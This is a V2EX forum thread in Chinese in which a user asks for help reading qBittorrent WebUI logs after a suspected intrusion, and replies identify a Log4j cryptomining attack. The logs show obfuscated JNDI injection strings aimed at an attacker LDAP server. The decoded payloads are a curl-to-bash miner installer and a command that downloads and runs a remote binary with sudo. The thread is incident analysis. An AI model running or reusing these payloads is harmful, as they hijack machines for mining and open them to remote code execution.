qbittorrent webUI 被入侵了。可否分析一下这段日志

V2EX = way to explore

V2EX 是一个关于分享和探索的地方

现在注册

已注册用户请登录

这是一个创建于 345 天前的主题，其中的信息可能已经有所发展或是发生改变。

在当前最新的 Windows qbittorrent 4.5.2 版本和 4.4.5 版本都遇到了来着这个 IP 的入侵。

对这些不太懂，唯一能做的是给日志里这段 base64 解了个码；日志末尾的 IP port 指代我的公网 IP 和 webUI 接口。

我的电脑是已成了矿机了吗，求分析，谢谢。

第一段 base64：curl -s -L https://raw.githubusercontent.com/C3Pool/xmrig_setup/master/setup_c3pool_miner.sh | bash -s 486xqw7y

2023-04-26 14:36 - WebUI: 请求 Header 中 Referer 与 XFH/Host 不匹配！来源 IP: '95.214.55.244'。Referer: 't('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//129.151.84.124:1389/TomcatBypass/Command/Base64/Y3VybCAtcyAtTCBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vQzNQb29sL3htcmlnX3NldHVwL21hc3Rlci9zZXR1cF9jM3Bvb2xfbWluZXIuc2ggfCBiYXNoIC1zIDQ4Nnhxdzd5c1hkS3c3UmtWelQ1dGRTaUR0RTZzb3hVZFlhR2FHRTFHb2FDZHZCRjdyVmc1b01YTDlwRngzckIxV1VDWnJKdmQ2QUhNRldpcGVZdDVlRk5VeDlwbUdO}')'。XFH/Host: 'IP:Port'

第二段 base64：wget http://107.172.206.114/.duck/lscpu ; curl -O http://107.172.206.114/.duck/lscpu ; chmod +x lscpu ; chmod 777 lscpu ; ./lscpu runner ; sudo ./lscpu runner ; rm -rf lscpu

2023-05-06 20:13 - WebUI: 请求 Header 中 Referer 与 XFH/Host 不匹配！来源 IP: '95.214.55.244'。Referer: 't('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//129.151.84.124:1389/TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMTA3LjE3Mi4yMDYuMTE0Ly5kdWNrL2xzY3B1IDsgY3VybCAtTyBodHRwOi8vMTA3LjE3Mi4yMDYuMTE0Ly5kdWNrL2xzY3B1IDsgY2htb2QgK3ggbHNjcHUgOyBjaG1vZCA3NzcgbHNjcHUgOyAuL2xzY3B1IHJ1bm5lciA7IHN1ZG8gLi9sc2NwdSBydW5uZXIgOyBybSAtcmYgbHNjcHU=}')'。XFH/Host: 'IP:Port'

12 条回复 • 2023-05-09 19:35:05 +08:00

leoleoleo

345 天前

看日志，是尝试利用 Log4j 漏洞来给设备中上挖矿木马。是否利用成功，你需要看一下设备的资源占用，cpu 和内存是否有异常的标高，以及系统是否出现了异常的定时任务或者服务。

ahhui

345 天前

理论上这是个利用 linux 漏洞攻击的代码，如果楼主是 windows 的话，应该不会中找。

Lentin

345 天前

https://x.threatbook.com/v5/article?threatInfoID=44018

javashell

345 天前

从日志上看是 log4j 库进行 jndi 注入攻击。
如果楼主的 qbittorrent webUI 使用的默认密码或使用的是弱密码，可以进行命令执行的（有次 ssh 配置改崩了，就是通过 qbittorrent 改回来的）

20160409

345 天前

谢谢各位。

@leoleoleo #1 我检查看看。一般这种是用可执行程序还是脚本之类的来挖矿？

@javashell 就是非常常见的弱密码，我现在干脆把 webui 关了。几天前查到 qbit 大概是 4.5.1 版本时还爆出了一个漏洞，能直接绕过验证。

javashell

345 天前

@20160409 qbittorrent 有个功能可以实现下载完成后执行指定的命令，叫 "Run external program on torrent completion" 可被用来进行挖矿、勒索等，最好是关闭 webui 访问

20160409

345 天前

形势应该还不严峻

> QBittorrent is C++, safe

https://www.reddit.com/r/homelab/comments/recvfp/comment/ho78vfd/

-------------------

拿火绒的 Log4j2 漏洞缓解工具扫描，返回结果:

> [Error] Get JAVA_HOME path failed ..

JAVA_HOME 都没配置好，应该利用不起来这个漏洞？

[3> 如果出现如下日志，则需要排查 JAVA_HOME 环境变量是否正确配置
----- CVE-2021-44228 漏洞缓解结果 -----
[Error] Get JAVA_HOME path failed ..
或者
----- CVE-2021-44228 漏洞缓解结果 -----
[Error] Get Java version failed ..]

https://bbs.huorong.cn/thread-96320-1-1.html